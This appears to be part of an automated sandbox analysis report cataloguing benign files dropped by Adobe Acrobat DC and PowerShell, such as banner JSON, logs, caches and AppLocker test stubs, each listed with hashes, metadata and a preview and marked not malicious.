SHA-512:	709087012BED4BCC376227498EEE797AD58CBC32F83CF581061FA55DE2ECD39E5133BFB6B4309E596FE80F0E94E223A8B1FADD51BF4185C293711EF57D27F7D3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"edee5cb2-9b04-41ba-836a-1eeeddebd1b1","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736751429265,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.215885750388009
Encrypted:	false
SSDEEP:	6:YEQXJ2HXMXLrN9p7+FIbRI6XVW7+0YkqoAvJfbPtdPeUkwRe9:YvXKXMbJ9pyYpW7bZGDV8Ukee9
MD5:	0E8EF8745D708D38ACEEF773D3C80CD1
SHA1:	47CCF804445F34FD5E6B174738F1B231DAACCD1F
SHA-256:	B7B3441800010D082F690A7954570C12335BDF45B26770E80C561DF67BB89D70
SHA-512:	E638EE58ECBBFAF790C4B12F3A1AF10CEB916CE2AC4D86558FDAC75684E2A7EAC047F4BEA202A4EF4D27EBD93B6B0773DCED373FA0F21E6A4C2C796267DC9D5F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"edee5cb2-9b04-41ba-836a-1eeeddebd1b1","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736751429265,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.216615954378183
Encrypted:	false
SSDEEP:	6:YEQXJ2HXMXLrN9p7+FIbRI6XVW7+0YkqoAvJf21rPeUkwRe9:YvXKXMbJ9pyYpW7bZG+16Ukee9
MD5:	A4422954C9CAB8C5F3F629EF97768437
SHA1:	88DE9058F0253ECE7EA1503B79139A2CD5EE4BBF
SHA-256:	174F79D62E7C7BDF2CC44ABFF2D74EA5628C300E095EE978F698E2DC1326DD69
SHA-512:	CC29A72D37101D69A94CAFC781448E4CD6351530324B780B8B20B8F7655E8BCFB4929286B3EFEA4B6F63D41D72889EB88AB7CA6AB96C3C62159E7D54B0997AC9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"edee5cb2-9b04-41ba-836a-1eeeddebd1b1","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736751429265,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.647366410122521
Encrypted:	false
SSDEEP:	24:Yv6XQvhibiamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSO:YvLv4b8BgkDMUJUAh8cvMO
MD5:	3F7A3D2CCC95D9D5D26951B5C4C9312B
SHA1:	31E0BE12797451C19955DEB8A602B0C8B45C03AA
SHA-256:	39FA3DEF3A404ADE513B08EB78DF5CD93D03C4745AFC7C28831F09C3AEC916E6
SHA-512:	B7B74B39F9BE8638E2834A379A2DB40727E9FC1523D5AB2B78FE6530584380B71CDFCDDCFA2663CCAD08A5DF7B8FDBFE7C73F1776BA49597D0DCF2DA2E75548D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"edee5cb2-9b04-41ba-836a-1eeeddebd1b1","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736751429265,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.190691531084208
Encrypted:	false
SSDEEP:	6:YEQXJ2HXMXLrN9p7+FIbRI6XVW7+0YkqoAvJfshHHrPeUkwRe9:YvXKXMbJ9pyYpW7bZGUUUkee9
MD5:	42089240E37D967AF7F4B3F60085C133
SHA1:	59048FB759BAC124883EBF2C2B24DD09BDBE90E6
SHA-256:	D08606BC51C0BE1437830FCF7F98F9602F8F36CDCCEABD957D0431D3686DC0E4
SHA-512:	E6C16FD01338C1E938D72EFA2D374861DCBF49F2640E1598AA10CF5A2EEC356DE4D7E8CF578D97D33EF07CA1675CFAA09F534C7E3B2588BB17D4F9B63CB5A9A8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"edee5cb2-9b04-41ba-836a-1eeeddebd1b1","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736751429265,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.2097477899991915
Encrypted:	false
SSDEEP:	6:YEQXJ2HXMXLrN9p7+FIbRI6XVW7+0YkqoAvJTqgFCrPeUkwRe9:YvXKXMbJ9pyYpW7bZGTq16Ukee9
MD5:	6EF7B15E5BF3902A46D17417595C58F4
SHA1:	F0C798F72EC0333EEC9395546D93DF0219F8EDB0
SHA-256:	C93EFBC417A2D74A94506E228CC3A911876AFC44518810ABFA831D2458E279C6
SHA-512:	C055A66BA53BB56078D23EA193921E63923103B5D20B0FE8C0970BD663D655FCE2DE633DB09A613C4D9D77C69C63197C39231BF494392904E71631EF69763501
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"edee5cb2-9b04-41ba-836a-1eeeddebd1b1","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736751429265,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.145916356037449
Encrypted:	false
SSDEEP:	24:YPSnaAmKayL97ZunUghzqoKfhaSkqSxCHcjINj0SNSRWfm/2oO2LSNMCKgJ68227:YQmGcIoKpc/cyWsPOYOH794Ig9To
MD5:	CEA0A9E13C63EA3C727219F4E2FE77F9
SHA1:	A28E20B9DCE984ABBACF6B36614E04ED400AD48E
SHA-256:	A73512260BECBC8ED0AA57B2BA26F9F9F0664B955BC61C07DCB918232129E5D7
SHA-512:	A6D8EBAA24FC6B94646724C16C51E6B9D5DD87246377A0F27DE7A69EDED336FA728B203B4D84EAF604E971CE7EA910FCD61A9F3492354F5819C1A1849AAE75F6
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"3818773241f9791d2ca57f99dee429ea","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736573348000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"c13dbe297ea52666caed4890be9ea9eb","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736573348000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"39da7a0bab2448d33665a1d6cfc1f5ec","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736573348000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"12e1d3a3015a065992954775885b67e9","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736573348000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"4ccfad522f825f325b5d544848994fb4","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736573348000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"2305345bc6a8a31857738d3da594d472","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 19, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 19
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	0.9855451281383644
Encrypted:	false
SSDEEP:	24:TLHRx/XYKQvGJF7urs6I1RZKHs/Ds/SpsXvZf4zJwtNBwtNbRZ6bRZ41XvZfF:TVl2GL7ms6ggOVp2RQzutYtp6PIRt
MD5:	167F129A68A43D5B056E31A37BE33C48
SHA1:	59E38A0BF824A36AAAD68E5497BE1A708BC72C3C
SHA-256:	2D56EA7587FD2FF94BAFEB013EC3B21D8F3B2AC8C7CDE213292707941BF33782
SHA-512:	13F494A0EC06EC4660545E2826FCB7DB9EE927F361298FF8605BDB3260938FF18D344A4F1E9A4926AD1E3F42E17972D6D48DF515EC3C502C675E28D209F58B58
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.34001480912215
Encrypted:	false
SSDEEP:	24:7+tOAD1RZKHs/Ds/SpsXvZfPzJwtNBwtNbRZ6bRZWf1RZKqqLBx/XYKQvGJF7urW:7MOGgOVp2RXzutYtp6PMfqll2GL7ms3
MD5:	7867D2E6F36F0B9498A1C679E8A1B656
SHA1:	2C12CD14CF51A1019F8B2DB32051BD2ED5CCABD9
SHA-256:	FACC4F69353AFB361D9F31C2E151BBA25BD02B2A8556DDEAAF47C3FC913FB6F6
SHA-512:	3F64CBE2A7144C879ABC9350FB70ABE1CAB090DFA0A01DFB89D0313616FBDE16ACAE06D0B75A1F4B3E26471E220E51DF66CFA9C5430F24E9F1F92CABC005CB4F
Malicious:	false
Preview:	.... .c.....}.q.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j...#..#.#.#.#.#.#.#.#.7.7........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgIhQtKzCzubURxcKtLymHQKb5YcYyu:6a6TZ44ADEIhPzCibQxKKb5DK
MD5:	109A971D1C6EB56D537D2035A686C212
SHA1:	8BDE9E0FA888DE079A44FEAB68897BBF341932A7
SHA-256:	51A36EC37C7B7872405C8651818A2CF533D0C51540B039FE79E516B25643BAF9
SHA-512:	B82C5D8CADDBB82D00DAFB44007C48CEAC125A66408DD4C3EE8D645B052B537C8E97799462D135466777C74B5410191CC6791DD4B30D053E08D5A3035A26A2CD
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulnmWllZ:NllUmWl
MD5:	3EBBEC2F920D055DAC842B4FF84448FA
SHA1:	52D2AD86C481FAED6187FC7E6655C5BD646CA663
SHA-256:	32441EEF46369E90F192889F3CC91721ECF615B0395CEC99996AB8CF06C59D09
SHA-512:	163F2BECB9695851B36E3F502FA812BFBF6B88E4DCEA330A03995282E2C848A7DE6B9FDBA740E3DF536AB65390FBE3CC5F41F91505603945C0C79676B48EE5C3
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSIc702f.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.4965336456103326
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K88Clrl:Qw946cPbiOxDlbYnuRKdyl
MD5:	FA7BD17D2185655403C79D363C91354E
SHA1:	CE2F9FB8769E8BFE56B0FD960A0E9F8130AF6850
SHA-256:	348DA09F63BF2B97C441EF0D22524147B5C2CD46EC3D3B7F8413B997AA60D8AD
SHA-512:	13FF26860F756EB423BD6D90A27BF6FA508F0C3DC483F6EE63ED22487232970FE51D5A3D8CED37AF3C49FAB60457D85A43081D93E3277D8FD3EC42E1D0B7EB74
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.1./.0.1./.2.0.2.5. . .0.0.:.2.9.:.0.7. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5qzhocmd.gr4.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tofhj11b.gb1.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-11 00-29-02-241.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.376360055978702
Encrypted:	false
SSDEEP:	384:6b1sdmfenwop+WP21h2RPjRNg7JjO2on6oU6CyuJw1oaNIIu9EMuJuF6MKK9g9JQ:vIn
MD5:	1336667A75083BF81E2632FABAA88B67
SHA1:	46E40800B27D95DAED0DBB830E0D0BA85C031D40
SHA-256:	F81B7C83E0B979F04D3763B4F88CD05BC8FBB2F441EBFAB75826793B869F75D1
SHA-512:	D039D8650CF7B149799D42C7415CBF94D4A0A4BF389B615EF7D1B427BC51727D3441AA37D8C178E7E7E89D69C95666EB14C31B56CDFBD3937E4581A31A69081A
Malicious:	false
Preview:	SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:961+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.357929837803229
Encrypted:	false
SSDEEP:	384:XpnQeMb7ETOAD1Lj8qsEeUVUoLT/F0AXyV3bNh95kPMTV159VKF+lSlsJ7F9Sb7T:Wyp
MD5:	C490D6A88C1BADD4AFAE9DAAF61686AF
SHA1:	21E63E1F06DD8335AFA289B82006F042B4E3F983
SHA-256:	23B2ABD30BEF5FB42B509FC6C7A06CF28C5CD8952D5E9F9663DAFA19EF58E2D2
SHA-512:	1996F4A3DC103FC25BD0CB8BD73E8AAB7317AA5A9DF206C88CB82A27F405ECD4D822D66CB0DDFA9CDCCDACB4CC315316CF41C9E26B00717E37277317A8CC948C
Malicious:	false
Preview:	SessionID=eebc8dbe-b51c-4def-8da9-9634af44dd40.1736573342253 Timestamp=2025-01-11T00:29:02:253-0500 ThreadID=7768 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=eebc8dbe-b51c-4def-8da9-9634af44dd40.1736573342253 Timestamp=2025-01-11T00:29:02:254-0500 ThreadID=7768 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=eebc8dbe-b51c-4def-8da9-9634af44dd40.1736573342253 Timestamp=2025-01-11T00:29:02:254-0500 ThreadID=7768 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=eebc8dbe-b51c-4def-8da9-9634af44dd40.1736573342253 Timestamp=2025-01-11T00:29:02:254-0500 ThreadID=7768 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=eebc8dbe-b51c-4def-8da9-9634af44dd40.1736573342253 Timestamp=2025-01-11T00:29:02:255-0500 ThreadID=7768 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.3960659102032595
Encrypted:	false
SSDEEP:	768:GLxxlyVUFcAzWL8VWL1ANSFld5YjMWLvJ8Uy++NSXl3WLd5WLrbhhVClkVMwDGbF:CC
MD5:	5EACB6EBE7A3E081DB1108EA4F43A1FA
SHA1:	74D202C9914DDF254F28AF80F64B0A34D5BC4689
SHA-256:	2C75933EFF6DC9B5201856601FC157D431CAC8B51A8E6C069DC6339EFC992D3B
SHA-512:	D35CD4369DF99CDD45D4D0E4C963831EA39F160457CD14D107975B896092783C29EC21811217C2CB2C44F206ABFBA2033B29795717BE1790778B18746E79C3FA
Malicious:	false
Preview:	04-10-2023 02:39:31:.---2---..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : *************************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : ***********************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Starting NGL..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..04-10-2023 02:39:31:.Closing File..04-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\1b5d6539-b404-43fb-b1f4-924cd57b9c69.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 647360
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xP/wYIGNPzWL07o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07tGZd:JXwZG5WLxB3mlind9i4ufFXpAXkrfUsb
MD5:	80990E953C72A2C5CC6D5AD94CF11F0C
SHA1:	9DA4A3EBD8612FDE2DA8F9EEA96491988FA5A231
SHA-256:	EC5EFBB64292DD321F50470102B46E72A93E9A1552748F5E8A1EEDA5F4FAA66F
SHA-512:	B20736ECD8674D886C6E497DA05D5D37A385A0D6954FA20EBE4AB30673342632271DE76FAE2C70994745517999531066C5D3629257D0381FAF3944813DF6D74D
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\68575875-d780-4b3e-9126-d147c3718c12.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

